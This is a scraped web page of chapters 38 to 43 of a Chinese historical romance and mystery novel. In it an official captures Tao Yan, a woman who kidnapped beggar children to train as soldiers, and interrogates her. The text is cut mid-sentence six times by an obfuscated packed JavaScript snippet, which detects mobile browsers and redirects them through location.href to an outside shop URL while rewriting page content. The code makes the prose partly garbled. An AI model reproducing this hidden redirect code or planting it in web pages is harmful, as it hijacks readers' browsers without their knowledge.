十五内心敏感脆弱,那天晚上她本想让十五吐露心声,但人被刺激得昏了过去,之后她再也没问过了。这几日他活泼了不少,不时会说一些往事,云暮便靠着这些消息找到了几个可疑之地。 她看着埋头苦吃的十五:“等会儿兄长和王爷还要上值,你留在府中,让安叔陪着你可好?” “好!” 今日休沐,何来上值一说?沈聿明没有揭穿她,心情反而好了几分。云暮一心扑在十五身上,忽略了他好几日,偏偏她这个木头读不懂他的不满,今天终于可以抛下这小子了! 马车上,云暮把京城布局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632388|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图摆在桌上,用笔在上面圈出两个地方,一东一西。 “只剩这两处了,王爷,我们兵分两路如何?” 沈聿明不情不愿地应下。 云暮换了辆马车,直奔城西。 无人居住的院落被雪覆盖,遮住了所有痕迹。云暮四下敲击,试图寻找密室。 据十五所说,他和四五十个他同龄的小孩住在一个暗无天日的地方,京城寸土寸金,能装得下这么多人又能练武的,除了诏狱和大理寺的牢房,就只剩地下。 忽而摸到墙上的凸起,地面如同风月居一般露出缝隙,云暮心道果然。 顺阶而下,地下黑暗幽深,唯有云暮手中的火折子发出微弱的光。 和风月居的地牢一样,入眼的是一间间牢房,再往里,就是一个空旷的场地,场上有一些练武常见的木桩之类的东西,角落还堆着一摞摞木剑。 从尽头走出,云暮发现她已在城外,抄近道去城东时,她瞥见了一个 熟悉的白色身影,虽想不起来,但她还是追了上去。 弄堂窄小交错,没多久云暮就跟丢了,她只能作罢,往外走时,不住思考她在何处见过此人。 巷子深处,一个身着白衣的女子怨毒地看着云暮的背影,身旁男子的神色和她如出一辙,只是眼神里还多了一丝被欺骗的恼怒。 和沈聿明复盘着今日的发现,二人都发现了怪异之处。 “几日前,有不少人见过很多乞儿,能把这些人无声无息地没了踪影,除了世家和皇室之人,下官想不到其他人。” 沈聿明猜测:“谁都想养私兵,直接收为己用会惹得父皇猜忌,于是他们想出了这个借着收留孤儿的名义把他们扭送到地下学武法子。” 说完两人都觉得不妥,但又想不出更合理的解释了。 云暮揉了揉发胀的脑袋,拿起笔在纸上勾勒。 沈聿明站在她身旁,拿起墨条替她磨墨:“这是谁?总觉得有些熟悉。” 云暮盯着纸上的背影看了半晌,从一旁的箱笼里找出一幅画放在一起比对。 “像不像?” 第三十九章 白衣女子 卢靖看着不断擦拭着剑身的陶妍:“妍妍,我们当真要自己动手?王家都败了,我们还有胜算吗?” 陶妍凉凉地看了他一眼:“兄长怕了?” 随即又恨声道:“王家那几个没用的东西,一个瞎子都没杀死,白白浪费了我的药!” 她是卢宏和青楼女的女儿,只因大梁官员不得狎妓,她只能没名没分地养在外头。和娘谋划多年,卢宏好不容易松口,只等今年把那些女人送至京城便能认祖归宗,谁想卢家被他一锅端了。 若非她爹以守住秘密为要挟,逼卢宇他们偷梁换柱,才保住了兄长一命,她实在咽不下这口气! 卢靖羞愧:“兄长自然也想要他的命,只是兄长武艺不精,怕拖累你。” 陶妍压下不屑,随口道:“此事不急,待我同武叔商议过后再动手也不迟,兄长在此等我们的好消息便是。” “武德?他不是投靠王家去了?” 陶妍轻笑了一声:“那不过是我们的计策罢了,若非如此,王家怎会答应刺杀云暮?” “妹妹还有事要同武叔商量,先告辞了。”她合上剑,起身往外走去。 卢靖眼中的势在必得取代了羞愧,冷冷盯着陶妍离去的方向。 云暮把三幅画挂在了墙上,其中一幅和云暮所作之画有八分像。 “你见到她了?” 在涿州时,云暮曾给他看过画像,可惜他未曾见过。 “八九不离十。” 一个人的外表可以伪装,但骨骼是不会骗人的,云暮摩挲下巴,问道:“她来京城做什么?” “把人揪出来就知道了。” “你们几人去盯着城中的青楼,此人应有武艺傍身,你们若发现她,不要轻举妄动,只需记下她去的地方即可,若是见到和十五差不多的小乞儿,也需回禀。” “是。” 云暮一人发了一张画着背影的宣纸,云府的小厮家世干净,她差使起来倒也放心。 “大人,我要见云大人!” 正在前院正厅交代着事宜,忽闻门外吵嚷声。云暮听出涿州的口音,示意小厮把人带进来。 才过垂花门,刘红看到云暮站在廊下,便发了疯似的往前跑,小厮欲拦,云暮抬手止住。 刘红双膝跪地,抱着云暮的腿,面上满是惊恐之状:“大人,她……她……民女看见她了!” “她”是谁,二人心知肚明。 云暮把人带进正厅,给她倒了杯热茶,“在哪看见的,你慢慢说。” 滚烫的茶杯驱散了些许恐惧,被烫红的指尖扔牢牢抓着茶杯不放。 “大人,方才我去集市买菜,被人撞倒,篮中的菜也散落了一地,正捡着菜,身旁就蹲了一个人,民女抬头看去,发现正是那个诱骗我们之人!” 她摸了摸鼻子,声音忽然拔高:“她冲我笑了笑,而后就走了。” “大人,她又回来了,她知道我们住在何处,她来找我们了,我们不想再回到那个吃人的地方……” 云暮描述了一遍白衣女子今日的衣着,又拿出了画着背影的纸张,都和刘红所说对上了。 “你看见她往何处去了吗?” 纠结和不安在她眼里交织,她不想这么做,可一想到那人的威胁,又不得不照做。 “看见了,民女偷偷跟了上去,发现她往城外去了,但怕她察觉,没敢再跟。” 云暮收回审视的目光,“知晓了,天子脚下,他们不敢乱来,本将军派几个人去照应你们。” “砚石,送刘姑娘回去。” 又低声吩咐砚清:“你们两个多看着点,若她与此人见面就来报我。” 若非当初清风等人苦苦相劝,她娘也想给女儿讨回公道,刘红决计不会进京状告。见了当初害她至此的人,不跑回家已是胆大,怎会跟上去?况且她眼神飘忽,手上的动作不断,那人说了什么,让她不惜掉脑袋都要配合对方演这场戏。 云暮坐在书房,百思不得其解。 门被轻轻叩响,十五从门外探出了一个脑袋:“大人。” 云暮招了招手,十五双手背在身后站在书案前,仰着小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632389|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸看着云暮,得意洋洋道:“大人,十五今日学会写您的名字了!” “是嘛,让我看看。” 云暮朝他伸出手,案上的纸张没了压制,风一吹,轻飘飘地落在十五面前。 十五好奇地看了一眼,红润的脸庞顿时苍白,他尖叫了一声,把手里的东西都丢了出去,捂着脑袋蹲在地上:“我不要离开嬷嬷,别打我,我知道错了……” 云暮猝不及防地吓了一跳,她忙把十五抱到榻上,轻拍着他的后背:“十五,莫怕,你从那里出来了。” 她的低声安慰让十五逐渐冷静,看着云暮身上的涕泪,他有些不好意思,“大人,对不起,十五替你洗干净吧。” 云暮抚了抚他的脑袋,示意他去洗把脸:“无事,这些事自有人做。” 收拾好后,十五又紧紧贴着云暮,双手紧紧地攥着他的袖口。 云暮低头问他:“十五能告诉大人你方才想起什么了吗?” 十五摇摇头,把额头抵在抱着的手臂上:“什 么都没有。” 云暮狠心拉开他,严肃说道:“十五,她也去过地牢?她把你们从嬷嬷身边抢走,然后送去暗无天日的地底,还逼你们学武,学不好就会被打对不对?” 虽是反问,语气里却满是笃定。 手臂被抽走的那瞬间,一种被抛弃的恐惧浮上十五的心头,泪水蓄满眼眶,“大人,我说,我说,你别不要我。” 十五年岁小,记不清太多东西,只记得很早之前就被人从他娘身边抢走,此后就被人关在了暗无天日的地底,身边的活物除了同龄人和几个凶神恶煞之人,就只剩下蛤蟆,这个女子偶尔会出现,每次一来,他们总要受罚,是以十五只看到一个背影就被吓得慌了神。 和云暮猜测的大差不差,“十五还记得武叔他们叫她什么吗?” 十五牢牢抓着他的手臂,思考了许久,声音闷闷:“记不清了,好像是‘陶’,可是十五不认得是哪个字。” 陶? 巧了,那个破落宅子的主人正是一位姓陶的妇人。 第四十章 抓到人了 刘红闷头往前走,进门时撞上同住之人,她把手中的菜篮往人手里一塞,而后一头扎进卧房,谁都不见,往后几天的饭菜都是她娘从门缝给她递进去的。 刘红此人胆小懦弱,却又爱惹事,每有麻烦找上门时又躲在众人身后,让人替她冲锋陷阵,她则隐在身后,把自己摘了出去。 几家人共住一个宅子,抬头不见低头见的,若不是同为老乡又抹不开面,她们指定三天一小吵,五天一大吵。 几人把菜篮重重放在台上,邹满对着那个紧闭的房门没好气道:“怎么把云大人的人都招来了,她又惹了什么麻烦,不等会,又要咱几个给她擦屁股吧? 一旁的人拍了拍她的手,对她摇了摇头:“那位大人不是说没事嘛,甭搭理她,等咱赚够了钱,就去京郊买块地建房,到时就不用同她一道住了。” 邹满冷哼了一声:“我们都搬走,岂不是便宜了她们娘俩?什么都不做就白得京城的一个三进宅子,我做梦都不敢想,也就是云大人心善,不收掠房钱,但咱也不能总住别人的地儿啊。” 几人的声音逐渐远去,不多时,一直隐在角落的刘氏站了起来,沉默地看着几人离去的方向。 五日后,刘红终于出了房门,拎着菜篮子去集市上转了一圈,砚清跟在她身后的不远处。 不过是转弯的功夫,云暮孤身一人出现在他们的视线里。刘红被人撞倒在地,再起身时,她推开身旁之人,直直朝云暮跑去。 云暮一路追着可疑之人到了此处后,对方再也没了踪迹,那人一路诱骗她至此,定然还有线索在等着她。 “大人,民女又……又看见她了!昨日在城门见的,民女跟了上去,发现她住在城外北原村。” 云暮嘴角微勾,来了。 砚清在刘红身旁摇了摇头,这几日刘红都没出过门,想来是撞倒她的人告知了地点。 明知是陷阱,云暮还是决定随刘红前去,路过砚清时,她飞速把腰牌递给砚清:“北原村,回去搬救兵。” 城外,北原村。 刘红不会骑马,是以二人只能步行。 一路走来,云暮总觉得有人在盯着她们,刚进村,刘红七拐八弯之下没了身影,她没有理会,仍站在原地等待,握着剑的左手青筋微微暴起。 片刻后,一个白衣女子蒙着面无声无息地出现在她身后,耳畔传来破空之声,云暮闪身躲开了攻击。 她上下打量着来人,“陶妍?” 身份被识破,陶妍也不再伪装,她拍了拍掌,称赞道:“不愧是云大人,连我的身份都瞒不过你。” 覆着脸的面纱掉落,露出那张和画卷上如出一辙的脸。 云暮:“怎么,涿州的庇护伞没有了,生意做不下去了?” 卢宏一家入狱后,迎春楼被查封,回京路上她收到涿州新知县的来信,老鸨已被斩首,迎春楼再无重开的可能。 想到被断掉的财路,陶妍眼中恨意翻腾:“不过是没了一个迎春楼罢了,再建一个又不是什么难事,况且大人怎知涿州不是障眼法?” 云暮的脑子飞速转动,想着京城有无新开的青楼,嘴上敷衍:“也是,生意都做到京城来了,涿州那点钱想来你们也是看不上的。” 陶妍看着武德打了一个手势,她不再废话:“相比起来,我们更看得起大人的命,不如大人今日就把命留在此处吧。” 话没说完,人已经提剑杀来。 云暮拔剑迎敌,游刃有余,武德带人加进来后,云暮觉得有些吃力,陶妍上哪找来的这么多人? 四下传来瓦片翻动的声音,头上也落了一片阴影,云暮横剑挡住陶妍的攻击,顺势抬眼往上看,几人正朝她撒下一张大网。 若是被网住,她等会儿就要交代在这了,砚清怎么还没带人赶来。 云暮一脚踹在了武德的小臂,借力往旁边撤去,手往腰间一伸,摸出几颗黑色的珠子往围墙上丢去。 珠子炸开,蒙着面的黑衣人惨叫一声,松开了手,再也不成阵。 “霹雳子!云暮,你耍小手段,愧为君子!” 云暮终于露出了笑,她翻上围墙,一剑把人穿心:“云某不过是人人喊打的阉人,连男人都不算,怎会是君子。” 陶妍怒不可遏,“一起上,谁先杀了云暮,本小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632390|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏他良田百亩,娇妻美妾!” 霹雳子是沈聿明所赠,云暮捏着最后一颗霹雳子,正犹豫着要不要用,余光瞥到陶妍拿起袖中之物朝她挥来。 云暮的手比眼快,陶妍才伸手,她手中的霹雳子已经丢了过去,恰好此时一阵风吹过,陶妍捂着眼睛大叫:“我的眼睛!” 火药味太重,云暮闻不出陶妍方才拿的是什么东西,但眼下人已瞎,不足为惧,她只用专心对付剩下之人即可。 马蹄声响,云暮不知来者是敌是友,此刻还负了伤,她把剑横在陶妍的脖间,逼退武德等人。 她淡声道:“再过来我就杀了她。” 武德等人不敢轻举妄动,只能警惕地看着两边。 骑马之人不断逼近,云暮捏紧了剑,剑身在陶妍的脖子上划出一道口子。 陶妍低低地笑出了声:“云 暮,你怕了,束手就擒吧,我或许能留你一条全尸。” 她不知来人是谁,只能趁机诈一诈云暮。 云暮没有接话,在看到来人之时,她松了一口气,含笑道:“陶小姐,我的人来了,你输了。” 趁人怔愣,她收回剑,利落地卸掉陶妍的下巴,把人丢给金吾卫后她绕道堵住了武德的去路。 从围攻者沦为被围攻者,只花了一个时辰,大势已去,武德寡不敌众。 “我来晚了,又害你受了伤。” 沈聿明的情绪有些低落,上次在大理寺如此,今日亦是。 “不过是……” 云暮话没说完,宋枫突然横插在二人中间,打断了他:“大人,先回府处理伤口吧。” 她皱眉看着宋枫,不语,脚下也没动,从前宋枫和偶尔和沈聿明不和她不管,但如今沈聿明是王爷,他若不喜,随意找一个由头就能杖杀了宋枫。 沈聿明看着她的面子上多有忍让,否则他早就没命了。 宋枫顶着压力对视:“大人,怎么了?” 云暮若无其事地收回目光:“无事,走吧。” 刑讯牢房里,云暮看着双目无神的陶妍,问道:“地底下的那些小孩你送去了何处?” 第四十一章 算账 陶妍紧了紧被拷在桌上的手,冷笑:“我还是第一次知晓,云大人审问人的方式是污蔑。” 她啧啧了两声,头转动了几下:“看来诏狱冤魂无数啊,大人夜间可睡得着?” 离她最近的宋枫一把掐住她的脖子:“再敢乱嚼舌棍,我不介意亲手教你死字怎么写。” 陶妍没有丝毫恐惧,反而继续挑衅:“有本事你就杀了我,否则我会把你们严刑逼供之事告知世人。” 许久没有被人这么威胁过了,还是这种毫无杀伤力的威胁,云暮等人听了她这番话,都没忍住笑了。 被看不起的人嘲笑,陶妍气了个半死。 狱卒很快就送来了几张供词,那几个人除了武德,其他人都开了口,云暮只扫了一眼就开始诈她的话。 “陶林是你娘吧?京城名动一时的花魁青青,城西大安坊的一个废弃宅院就在她的名下,你们从宅院挖了一条直通城外的通道,拐了京城附近的小乞儿,用来训练私兵。” “你们在为谁做事?” 不愧是云暮,若不是双手被束缚,陶妍真想给她鼓个掌。 云暮观她神色,知晓猜对了,又继续道:“能让你如此卖命,此人身份不凡,难不成是……” 一个一个试着人名,云暮不知她所说之人都曾与红极一时的花魁陶林有过露水情缘。 陶妍想起她第一次被娘带去卢家时,卢家主母高高在上地看着跪伏在地的她们,话里话外都是不想认下她们。 “一点朱唇万人尝的脏货,你有什么证据能证明这个小贱人是家主的女儿?” 她娘低声下气地解释,却被卢夫人捆住打了一顿,随后一张地契被人粗鲁地塞进她娘的领口,卢夫人捂嘴笑道:“本夫人今日能容你,以后你若是敢在背后胡言乱语,坏了家主的仕途,我便把你送给那些地痞流氓,叫你求生不得求死不能。” 这些年她拼了命地隐藏身世,一是怕她娘被混混折磨,二是想掩盖她和娘那段不堪的过去。 她把自己伪装成大户人家的小姐,拼了命地在卢宏面前证明她有用,都只是为了搏得一席之地,这些愚蠢的男人不懂她的艰辛,还高高在上地漠视她的痛苦。 陶妍瞪着无神的双眼,怒道:“你们懂什么!我只是想让我和我娘能活出一个人样,我有什么错!” 云暮冷声道∶“自己不幸就要拖人下水,你无辜,那些姑娘和孩子就不无辜?用他人之血铺就的成名之路,你走得踏实吗?” 陶妍嗓音尖锐:“那是他们的命!我怜她们命苦,给了她们一条明路,她们该叩谢我的大恩。” 昔年卢家式微,屡屡被其他几家冒犯,后来再得皇上重用后才逃脱了被人蚕食的下场,但还是苦于没有私兵。 陶妍得知后想尽一切办法去见了卢宏,给他献了一计。 卢宏大喜,又答应她过几年就接她回府。就在她离成功只有一步之遥时,她爹被斩首,卢家人尽数入狱。 卢家大势已去,她养不起那么多人,于是带人投靠了势弱的王家,只待来日寻得机会报仇,没想到云暮的命这般硬。 对方一个阉人都能上位,她贵为卢家之女,却成了阶下囚,她不甘! 隐去投靠王家之事,陶妍几乎是吼着把往事道出,云暮诧异的挑了挑眉,她倒是不知当年卢宏在京城还有这段往事不过他还真是胆大包天,明令禁止不许狎妓,还明知故犯。 “那些孩子呢?你送到哪去了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632391|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了。” 云暮自是不信,苦心经营多年,怎会说舍弃就舍弃?她知陶妍不会再开口,只能把希望寄托在武德几人身上。 看着陶妍的双眼,她突然问了一句:“那日牢房刺杀,他们的药是你给的吧?” 陶妍恨声道:“我只恨没有多给他们两包药,杀不死你,能毒瞎你也是好的。” 偷鸡不成蚀把米,这次她欲故技重施,但云暮没给她机会。 城东,广华坊。 云暮走门口大敞的宅子,一声声尖叫从后院传来,她快步走了进去。 妇人手里拿着一把沾了血的柴刀乱砍,砚石没带武器,正试图徒手把发狂的人拦下。 云暮捡起一颗石头,精准地打在妇人的手腕上,柴刀落地,妇人也卸去了一身的气力。刘红见了云暮就跟老鼠见了猫一般,沉默地躲进了卧房,还放下了门闩。 看着一院的狼藉,云暮疲惫地捏了捏山根,“砚清,去请个大夫来。” 又对着角落的那几个说道:“说说吧,这是怎么一回事。” 几人同时和云暮诉苦,听得云暮一个头两个大,“一个一个来,说重点!” 长久积怨,看到刘红好不容易出门,畏畏缩缩地回来后被人冷嘲热讽了一顿,刘氏当时正劈着柴,见状提刀砍了过去。 当初见她们都是老乡,才把人放在同一个宅子,没想竟埋下祸端。 观她们几人不依不饶的架势,云暮问道:“可要报官?” 几人怔在原地,她们理亏,就算报官也是各打五十大板,况且往后还要一起生活,暂且不能撕破脸,于是统一摇头。 本小章还未完,请点击下一页继续阅读 后面精彩内容! 第四十二章 榆木脑袋 从大理寺出来时,天色已晚,云暮一眼就看见了候在门口的马车,悬挂在马车前的灯笼泛着暖黄的光。 文竹提着灯笼小跑过来,给云暮照亮了脚下之路:“两位大人安好,王爷派小的来送云大人回去。” 云暮是在大理寺遇的险,程文博知晓他的眼并未好全,一到夜间就看不清路,原想送他一段路,不想沈聿明已经安排好,他打趣道:“王爷对云大人可真上心,看来程某是没有送云大人回去的福分了。” 云暮哭笑不得,“今日阻你下值,又托你办事,现下可不敢再烦你。” 撩开车帘,没有见到人,云暮抿了抿唇,心里好像空了一块,她问:“王爷不在?” 文竹伸手欲扶他上马车,闻言忙解释道:“太子在醉江月设宴,请了王爷和丞相府的公子过去,大人可要过去瞧瞧?” 云暮莫名的情绪突然消散,“他们兄弟聚会,我一个外人去作甚?送我回去吧。” 醉江月前些日子大换血,上至老板下至小二都换成了梁文帝的人,她倒不担心会有什么意外。 醉江月,雅间。 沈聿明面无表情地看着面前的菜碟,努力忽视坐在他身旁的崔苒。 崔苒不时地往左看,自以为做得很隐蔽,其实小心思暴露无遗。同桌的崔家子弟为了提醒她,快要把肺都咳出来了,她还是毫无察觉。 没有沈聿明时,所有人话里话外的意思都是她会成为太子妃,她也以为自己喜欢的是太子表哥,直到那日惊鸿一瞥,她的心像是被小鹿撞到,扑通跳个不停。她才知晓,原来喜欢一个人是这种感觉。 所以今天她得知太子设宴后,一直闹着要来,又非要坐在沈聿明旁边, 最后她大兄崔钰看不过眼了,把她提到四弟身旁,低声威胁:“好好用你的饭,否则下次不带你出来了。” 崔苒不满地撇了撇嘴,但也知大兄说到做到,也想在沈聿明的心里挽回点形象,便没闹事。 太子笑呵呵地打着圆场:“一家人小聚,大表哥何必拘着苒儿。” 崔钰无奈:“苒儿这般娇纵,有殿下一份功劳。” 他敬了对面的沈聿明一杯,“小妹不懂事,冒犯王爷了。” 沈聿明举起杯子抿了一口,“无妨。” 屋里的气氛才又热切了起来。 沈聿明边攀谈边喝,不知不觉喝空了好几个酒壶,他醉醺醺地拒绝了崔钰的酒,而后手支脑袋,闭眼听他们交谈。 醉酒时易吐真言,太子试探问他:“明熹,听说你今日带着金吾卫出城,回来时还抓到了一伙人?” 沈聿明嗯了一声,如实相告:“大理寺就在布政坊对面,见金吾卫出门多嘴问了一句才知云大人有难,便一同去了。” “云大人武艺高强,他都打不过,看来是遇到劲敌了啊。” 沈聿明睁开朦胧的双眼,嗤道:“以多欺少,算什么本事?” “招了?” 沈聿明摊了摊手:“这臣弟就不清楚了,许是没招吧,夺命之仇,不共戴天,否则云大人怎会没有动作?” 沈聿明没有错过崔家人一闪即逝的惋惜,目的达到,文竹端着醒酒茶走了进来。 又略坐了片刻,太子率先起身:“不早了,明日还要上朝,孤先走了。” 攒局的人都不在了,崔家人也没有留下的必要,自然跟着一起太子走了出去,崔苒在后头磨磨蹭蹭,终于等到了沈聿明。 双手食指紧张地绞在一起,她扭捏地问道:“王爷,再过几日就是冬至,那晚会有花车巡街,不知能否邀请王爷一同出游?” 冷风一吹,装醉的沈聿明捂着脑袋,语气有些难受:“怕是不行,本王的心上人若是知晓本王与其他姑娘同游,就要同本王置气了。” 周围的人听后都惊掉了下巴。 沈聿明虽和纨绔子弟玩得不错,但从未点过姑娘陪酒。若无应酬,便是皇宫,大理寺,王府三点一线,偶尔再去云府串个门。 他的行踪崔苒倒背如流,可怎么没听说过他和哪个姑娘接触?积攒了一晚上的勇气换来了这句话,她勉强露出一个笑容,欲拉着沈聿明的手撒娇:“王爷不要再逗我了。” 沈聿明退了两步:“并非胡诌,只是她还不知晓,本王不敢唐突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632392|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 提及心上人,他的眉眼都温柔了不少。崔苒把他的反应都看在眼里,眼眶瞬间通红,头也不回地跑了。 沈聿明制止了崔钰的赔罪:“大公子还是去看看五小姐吧,本王先走了。” 上马车的动作顿了一下,他伸手拉了拉本就没掀开多少的车帘,隔绝了外面的视线。 “你怎么来了?” 云暮坐直了身体,好奇问他:“不来怎么知道王爷已有心上人,是哪家的姑娘?没准下官还见过呢。” 驱马的文竹也悄悄竖起了耳朵。 沈聿明往云暮的方向的靠,看着她搭在垫子上的手,手指微动∶“你不知道?” 云暮茫然地看着他,“我见过?不对啊,咱俩一起见过的姑娘除了崔五小姐,就只有牢里那个了啊。” 沈聿明有一种对牛弹琴的无力感,他愤愤地闭上眼,“没有,那些话 是本王骗崔五的。” 突如其来的生气让云暮摸不着头脑,她干巴巴地‘哦’了一声。 沈聿明没等到哄他的话,偷偷睁开一只眼,不想撞进了云暮含笑的双眼。 偷看被抓包,他耳朵一热,哼了一声把头扭到一边,而后两人同时扑哧笑出声。 沈聿明背对着她,不死心再问了一次:“你当真想不到本王心悦何人?” 云暮想破脑袋都没想出:“王爷莫要在为难我了,等王爷大婚,我定备上厚礼赔罪。” 沈聿明低声嘟囔∶“这么明显都没发现,干脆改名叫木头算了!” 云暮只听清了两个字:“脆蒜?你爱吃生蒜?” 沈聿明转身怒视她∶“吃吃吃,你就知道吃!” “你不吃?那我全都拿回去给十五了。” 云暮晃了晃手中的纸包,“十五不吃蒜,还好没让店家放生蒜。” 马车才出路口,云暮就指使文竹往西市去,她今日回家晚了,十五怕是等急了,她寻思着买点东西回去哄哄他,绝对没有故意要等沈聿明的意思! 沈聿明一把夺过:“给我买的就只能是我的。” 你也是。 第四十三章 学堂拜师 “陶妍并不知晓十五还活着,我想送他去学堂。” 寻常人家的孩子,五岁已经开蒙,先前云暮怕他被人认出抓走,如今陶妍等人已经落狱,无人再知他的身份,也到去学堂的时候了。 沈聿明酸溜溜地说道:“你对他倒是比对我上心。” 云暮:“……他只是个孩子。” 今夜云府门口的灯笼比往日亮了不少,门檐下,安叔牵着十五在门口等着,两人的手里还提着一大一小两个灯笼。 云暮才下车,就被十五紧紧抱住双腿,“大人,你去哪了,十五和安叔等你等得手都僵了。” 云暮接过十五手里的灯笼,又顺势握住了他的手,果然一片冰凉:“今日有事,下值晚了点,再有下次我会记得派人回来说一声。” 十年了,终于又有人在门口等着她归家了,云暮的心软了几分。 沈聿明幽怨地看了他们一眼,开始耍无赖:“喝醉了,回不去了,今夜本王要宿在云府。” 他宿在云府不是一次两次,安叔甚至还专门给他收拾出了一间屋子。 十五终于注意到沈聿明,惊喜地喊了一声王爷后,拉过他的手,带着两人直直往府里走去。 文竹和安叔双手拎满了东西,在身后感叹,这个画面像极了一家三口,要是这两人中有一个是姑娘该多好。 书房里,沈聿明不时指点一下正在临摹的十五,云暮把剩下的几页书看完后,叫住了十五。 她斟酌了一下才开口:“十五,我打算送你去学堂念书。” 毛笔掉在桌上,砸出一个墨团,十五不安地看着二人:“大人,你们不要我了吗?” 云暮摸了摸他的头:“怎么会,小孩长大了都得去学堂念书,十五也是如此。” 沈聿明也憋着笑哄他∶“读书识字可好玩了,还能交到新朋友。” 还有许多课业,他当初经历的,一定也要十五体验一遍, “那大人和王爷也是吗?” 云暮的手停在了他的头顶,幼时她爹娘为她请了夫子,她宁愿同娘一起去采药都不愿意听夫子说课,后来还是为了能看懂医书才肯听夫子的话。 沈聿明呢?他打小就在冷宫,梁文帝可曾允他去上书房和其他皇子一起念书? 十五晃了晃他的手臂:“大人?” 云暮回过神,勉强提了提嘴角:“我和王爷自然也是如此。要去学堂,得取个正式一点的名字,十五就当做小名,如何?” 听到他们经历过,十五才没有那么抗拒,他眨了眨眼,“十五都听大人的。” “捡到你那日,漫天风雪中泄出一丝金光,你便叫冬阳如何?你想姓什么?” 十五低头呢喃了几声,而后抬起亮晶晶的双眼看着云暮:“太阳从云中出来,我要随大人姓。云冬阳,大人,十五喜欢这个名字!” “喜欢就好,时候不早了,回去歇息吧,明儿早上先带你去见见夫子。” 一直沉默不语的沈聿明突然开口:“宋枫的名字也是你取的?” 此事和宋枫有什么关系? “不是。” 沈聿明手指在桌上轻点,嘴角微勾。 十五疑惑:“宋枫是何人?” 沈聿明牵起他往外走:“一个无关紧要的人,但是十五一定要记住这个名字,他若无事来扰大人,就用你的一身武艺把人赶走。” “你方才在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632393|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想什么?怎么一直呆呆地看着我不说话?心情瞧着也不大好。” 沈聿明先云暮一步,斜倚在院门,伸手挡住了她的去路。 云暮垂下眼眸,“不过是想起往事罢了。” 这是想起来了?沈聿明心里有过一瞬间的惊喜,但很快又压下了,他轻咳了一声:“什么往事,说来给本王听听。” 云暮摇摇头:“不过是同夫子斗智斗勇的糗事,难登大雅之堂,我观王爷谈吐不凡,你这一身学问是在沧州学的?” 哦,没想起来啊。 “冷宫,母妃教的,她用绣品换钱,拖太监从宫外给我带书。流落在外时,不时躲在学堂的窗外偷听。” 他没说的是,钟叔的人里,曾经有一个是军师,他所学的知识绝大部分都是军师所教,回京前,他带上了军师的骨灰,埋在了镇北候的衣冠冢附近,全了他死前的念想。 云暮诚心夸赞:“王爷可称得上一句自学成才,明儿我告一天假送十五去学堂,王爷要一起吗?” 云暮主动邀约,哪有不应下的道理? “去,左右我在大理寺也无事可做。” 